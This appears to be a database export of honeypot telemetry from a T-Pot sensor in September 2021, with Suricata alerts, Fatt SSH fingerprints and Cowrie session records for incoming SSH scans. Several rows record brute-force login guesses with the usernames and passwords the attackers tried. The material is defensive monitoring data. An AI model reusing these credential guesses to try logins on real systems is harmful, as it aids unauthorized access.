35650	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:56.388581+03	2021-09-20 15:15:03.543691+03	{"_id": "lwYcA3wBvYTbRNuE4V35", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:55.948939+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1549061460294347, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 56252, "timestamp": "2021-09-20T12:09:56.388581Z", "@timestamp": "2021-09-20T12:09:56.388Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35651	5.188.62.219	109.199.241.180	Suricata	2021-09-20 15:09:58.732384+03	2021-09-20 15:15:03.54469+03	{"_id": "nQYcA3wBvYTbRNuE6V3K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:58.607933+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1624324319889085, "payload": "AAADvA4U+G7v3HlxEDiSV4j909JJSAAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAKsC4tF0wOk8U0gufLEw", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42640, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:58.732384Z", "@timestamp": "2021-09-20T12:09:58.732Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......n..yq.8.W....IH....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.................t..<SH.|.0"}}	1	\N	\N	alert	\N	RU
35652	5.188.62.219	109.199.241.180	Fatt	2021-09-20 15:09:58.732384+03	2021-09-20 15:15:03.54669+03	{"_id": "ngYcA3wBvYTbRNuE6l3J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 42640, "dest_port": 22, "timestamp": "2021-09-20T12:09:58.732384", "@timestamp": "2021-09-20T12:09:58.732Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
35653	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:09:58.669295+03	2021-09-20 15:15:03.547691+03	{"_id": "qwYcA3wBvYTbRNuE7F2P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.219:42640 (192.168.176.2:22) [session: b5c4f16cdc52]", "session": "b5c4f16cdc52", "@version": "1", "protocol": "ssh", "src_port": 42640, "dest_port": 22, "timestamp": "2021-09-20T12:09:58.669295Z", "@timestamp": "2021-09-20T12:09:58.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
35654	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:58.991697+03	2021-09-20 15:15:03.54869+03	{"_id": "rgYcA3wBvYTbRNuE7F2R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:37060 (192.168.176.2:22) [session: 719b0a7cbeb6]", "session": "719b0a7cbeb6", "@version": "1", "protocol": "ssh", "src_port": 37060, "dest_port": 22, "timestamp": "2021-09-20T12:09:58.991697Z", "@timestamp": "2021-09-20T12:09:58.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
35681	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:09:55.178212+03	2021-09-20 15:15:03.584689+03	{"_id": "igYcA3wBvYTbRNuE3F3s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "42fa89b39981", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:09:55.178212Z", "@timestamp": "2021-09-20T12:09:55.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
35655	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.410298+03	2021-09-20 15:15:03.55069+03	{"_id": "rwYcA3wBvYTbRNuE7F2R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:37134 (192.168.176.2:22) [session: 40f11dd838ea]", "session": "40f11dd838ea", "@version": "1", "protocol": "ssh", "src_port": 37134, "dest_port": 22, "timestamp": "2021-09-20T12:09:59.410298Z", "@timestamp": "2021-09-20T12:09:59.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
35656	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:09:58.671999+03	2021-09-20 15:15:03.551689+03	{"_id": "sgYcA3wBvYTbRNuE7F2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "b5c4f16cdc52", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:09:58.671999Z", "@timestamp": "2021-09-20T12:09:58.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
35657	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.413169+03	2021-09-20 15:15:03.55269+03	{"_id": "sQYcA3wBvYTbRNuE7F2R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "40f11dd838ea", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:59.413169Z", "@timestamp": "2021-09-20T12:09:59.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
35658	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:09:59.03299+03	2021-09-20 15:15:03.55369+03	{"_id": "uAYcA3wBvYTbRNuE7V2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:58.950817+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 913694063493665, "payload": "AAADzAYUE7tvA2DL1s626nhVGkBWTQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37060, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:59.032990Z", "@timestamp": "2021-09-20T12:09:59.032Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........o.`.....xU.@VM...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	FR
35659	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:59.415254+03	2021-09-20 15:15:03.555691+03	{"_id": "wAYcA3wBvYTbRNuE7l33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37134, "timestamp": "2021-09-20T12:09:59.415254", "@timestamp": "2021-09-20T12:09:59.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35660	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:09:59.728465+03	2021-09-20 15:15:03.55769+03	{"_id": "xAYcA3wBvYTbRNuE8F14", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "40f11dd838ea", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:09:59.728465Z", "@timestamp": "2021-09-20T12:09:59.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
35682	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:09:55.47805+03	2021-09-20 15:15:03.58569+03	{"_id": "iQYcA3wBvYTbRNuE3F3s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "42fa89b39981", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:09:55.478050Z", "@timestamp": "2021-09-20T12:09:55.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
35661	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:55.179231+03	2021-09-20 15:15:03.55869+03	{"_id": "kAYcA3wBvYTbRNuE311S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52550, "timestamp": "2021-09-20T12:09:55.179231", "@timestamp": "2021-09-20T12:09:55.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
